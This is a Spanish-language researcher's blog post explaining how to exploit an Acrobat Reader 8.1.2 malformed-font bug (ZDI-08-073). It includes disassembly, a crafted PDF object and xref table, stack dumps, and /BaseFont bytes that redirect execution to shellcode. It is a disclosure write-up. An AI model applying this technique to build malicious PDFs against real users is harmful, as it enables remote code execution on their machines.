ZDI-08-073: Adobe Acrobat Reader Malformed PDF Code Execution Vulnerability
Hola a todos,hace unos dias apareció este advisory en ZDI: Adobe Acrobat Reader Malformed PDF Code Execution Vulnerability.No dan muchos detalles así que aquí va el advisory original con una explicación un poco más en profundidad del bug y como explotarlo.
Adobe Acrobat Reader Malformed PDF Code Execution Vulnerability
Autor: Javier Vicente Vallejo
Web: www.vallejo.cc
Abstract
Existe una vulnerabilidad en Acrobat Reader 8.1.2 cuando parsea un pdf malformado que podrían permitir a un atacante ejecutar código a través del navegador o localmente con la apertura del fichero pdf malformado.
Affected versions
Probado con Acrobat Reader 8.1.2 y Windows XP Media Center Sp2.
Afecta a versiones anteriores del producto.
Analysis
Acrobat Reader tiene problemas parseando algunos pdfs malformados, concretamente parseando algún tipo de fuente.
El código vulnerable en AcroRd32.exe:
01194C98 B0 01 MOV AL,1
01194C9A 5E POP ESI
01194C9B C2 0400 RETN 4
01194C9E CC INT3
01194C9F CC INT3
01194CA0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] <——
01194CA4 8B48 10 MOV ECX,DWORD PTR DS:[EAX+10]
01194CA7 8B51 18 MOV EDX,DWORD PTR DS:[ECX+18]
01194CAA 894424 04 MOV DWORD PTR SS:[ESP+4],EAX
01194CAE FFE2 JMP EDX
01194CB0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4]
01194CB4 85C0 TEST EAX,EAX
01194CB6 74 08 JE SHORT AcroRd_1.01194CC0
01194CB8 8D48 F8 LEA ECX,DWORD PTR DS:[EAX-8]
01194CBB E9 10000000 JMP AcroRd_1.01194CD0
01194CC0 33C9 XOR ECX,ECX
Cuando acrobat reader parsea este documento pdf con el objeto fuente malformado, los datos de la pila quedan corruptos. Podemos modificar el documento pdf de manera que podamos controlar algunos de esos datos en la pila para conseguir la ejecución de código.
En el caso en el que está sucediendo la vulnerabilidad , se usa un dato de la pila como si fuera un puntero. Vemos como [esp+4] es movido a eax, para luego acceder a [eax+10] y moverlo a ecx, y luego acceder a [ecx+18] y moverlo a edx. Para finalmente saltar al contenido de edx.
En [esp+4] tenemos en vez de un valor de puntero, el id de un objeto del documento pdf. En el documento podemos controlar este id de objeto a un valor. De hecho Acrobat Reader nos permite usar valores para ids de objeto muy altos. Este valor que vamos a usar como id realmente en el código se va a usar como un puntero. Nuestro objetivo es que [<id del objeto>+10] sea una dirección válida, y además [<esta dirección válida>+18] sea un puntero a nuestra shellcode.
En el documento modificamos el id del objeto a lo que nos interesa:
…
1304200 0 obj<</Length 51/Filter/S#17eDe^ñt>>stream
ÌÌÌÌMMYDATA
endstream
endobj
xref
0 1304201
0000000000 65535 f
0000000015 00000 n
0000000080 00000 n
…
Debemos reparar también toda la xref table del documento. Para poder hacerlo sin estropear el documento usaremos el mecanismo de updating que soporta el formato pdf:
1304200 0 obj<</Length 51/Filter/S#17eDe^ñt>>stream
ÌÌÌÌMMYDATA
endstream
endobj
xref
0 1304201
0000000000 65535 f
0000000015 00000 n
0000000080 00000 n
0000212778 00000 n
0000212824 00000 n
…
0000601062 00000 n
0000657594 00000 n
0000657787 00000 n
0000657935 00000 n
0000727001 00000 n
0000727208 00000 n
0000885468 00000 n
0000000243 00000 f
0000000244 00000 f
0000885675 00000 n
0000939377 00000 n
0000939582 00000 n
0000939611 00000 n
0000939816 00000 n
0000962258 00000 n
0000962423 00000 n
1304200 1
0000962491 00000 n
trailer
<< /Size 1304200
/Encrypt 203 0 R
/ID [<aab8b79d962a176b774f50ab4a9ded8a><568914b21e6a11dabac5000393c326ba>]
/Root 1 0 R
>>
startxref
962613
%%EOF
Hemos usado el valor 1304200, 0x13e688, para nuestro id, que es una dirección que cae en la pila.
01194CA0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] <——
01194CA4 8B48 10 MOV ECX,DWORD PTR DS:[EAX+10]
01194CA7 8B51 18 MOV EDX,DWORD PTR DS:[ECX+18]
01194CAA 894424 04 MOV DWORD PTR SS:[ESP+4],EAX
01194CAE FFE2 JMP EDX
mov eax,[esp+4] eax = 0x13E688
Analizando un poco el código encontramos algunos valores interesantes en la pila cuando el crash ocurre:
Un segundo id de objeto está almacenado en el stack también. También podemos controlar este valor.
En la pila:
0013E688 |017BDB58 XÛ{ AcroRd_1.017BDB58
0013E68C |72D08937 7‰Ðr
0013E690 |0013E754 Tç.
0013E694 |C0010000 .. À
0013E698 |0013E624 $æ.
1304100 0 obj<</Type/Font/Encoding/90pv-RKSJ-H/BaseFont/hxV4Ã+NIS-S7-83pv-RKSJ-K/Subtype/Type0/DescendantFonts 111 0 R>>
endobj
La dirección 0x13E698 contenía el object id 172, pero podemos controlarlo también, así que lo hemos cambiado a 0x13E624 (1304100 decimal). Éste es otro puntero que también cae en el stack.
Recordamos que: mov eax,[esp+4] eax = 0x13E688
Y cuando:
01194CA4 8B48 10 MOV ECX,DWORD PTR DS:[EAX+10]
es ejecutado, ecx = 0x13E624.
Por qué queremos esta dirección?
Analizando de nuevo el stack encontramos un puntero a el valor del atributo /BaseFont (originalmente este valor era /BaseFont/TBOBOJ+NIS-S7-83pv-RKSJ-K):
0013E624 |10D80CA8 ¨.Ø
0013E628 |08023CC3 Ã< RETURN to CoolType.08023CC3 from CoolType.08021BD9
0013E62C |10E58F7C |マå
0013E630 |10D961A4 ¤aÙ
0013E634 |0820E4A8 ¨ä CoolType.0820E4A8
0013E638 |00E0D68C ŒÖà.
0013E63C |00E0D6B0 °Öà. -> (originally this address in the stack pointed to TBOBOJ+NIS-S7-83pv-RKSJ-K)
Cuando se ejecuta la última instrucción del código vulnerable:
01194CA7 8B51 18 MOV EDX,DWORD PTR DS:[ECX+18]
01194CAA 894424 04 MOV DWORD PTR SS:[ESP+4],EAX
01194CAE FFE2 JMP EDX
Recordamos que ecx = 0x13E624
Por tanto MOV EDX,DWORD PTR DS:[ECX+18] –> edx = 0xE0D6B0 (la dirección que apunta al contenido del /BaseFont, TBOBOJ+NIS-S7-83pv-RKSJ-K).
Entonces en el jmp edx, saltamos a ese valor del atributo /BaseFont.
Como el valor del /BaseFont es una cadena contenida en nuestro pdf, también podemos controlar esto, y podemos meter en esta cadena el código que se va a ejecutar cuando ocurra el jmp edx:
/BaseFont/hxV4Ã+NIS-S7-83pv-RKSJ-K
Hemos sobreescrito los primeros bytes con 0x68 0x78 0x56 0x43 0x21 0xc3:
push 0x12345678
ret
Cambiando 0x12345678 por el valor que queramos podemos redirigir la ejecución a la shellcode que queramos. La shellcode puede ir contenida en el propio documento pdf y quedará en memoria cuando el reader lo cargue, siempre en la misma posición.
Es posible que testeando la vulnerabilidad en otros sistemas operativos u otros entornos nos encontremos que la dirección base de la pila esté en otra posición. Los valores tomados aquí son para la dirección base 0x136000. Si esta dirección cambia solo hay que añadir la diferencia a los valores.
Aquí tenemos un pdf de ejemplo que salta a la dirección 0x12345678: